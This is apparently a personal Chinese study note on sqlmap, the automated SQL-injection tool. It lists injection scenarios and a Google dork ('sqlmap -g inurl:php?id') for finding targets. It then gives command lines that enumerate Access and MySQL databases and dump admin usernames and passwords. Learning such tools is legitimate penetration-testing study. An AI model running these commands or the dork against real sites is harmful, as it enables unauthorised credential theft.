sqlmap 随笔 羽翼sqlmap学习笔记

sqlmap  mysql 命令
http://www.jb51.net/softjc/63593.html
写文件  注意：当sqlmap结束运行后，所产生的文件会自动删除

分析其使用场景  

cookie 注入 

post 注入。 

伪静态注入。   什么场景下使用？  

命令执行 。 

请求延时  场景： 

google 搜索  ：     sqlmap -g inurl:php?id 

绕过waf  

一： Access数据库注入
  sqlmap.py
-u "URL" --tables #跑表
  sqlmap.py
-u "URL" --columns -T admin #对admin表里的字段猜解
  sqlmap.py
-u "URL" --dump -T admin -C "username,password" #列出admin表里面username,passwrod的内容

二：Mysql数据库注入
  sqlmap.py
-u "URL" --dbs #猜解数据库
  sqlmap.py
-u "URL" -D mysl #mysl是猜解出来的数据库，-D 指定一个数据库
  sqlmap.py
-u "URL" -D mysl -T my_admin --columns #获取my_admin表里面的字段，
  sqlmap.py
-u "URL" -D mysl -T my_admin -C id,user,password #获取id,user,password的内容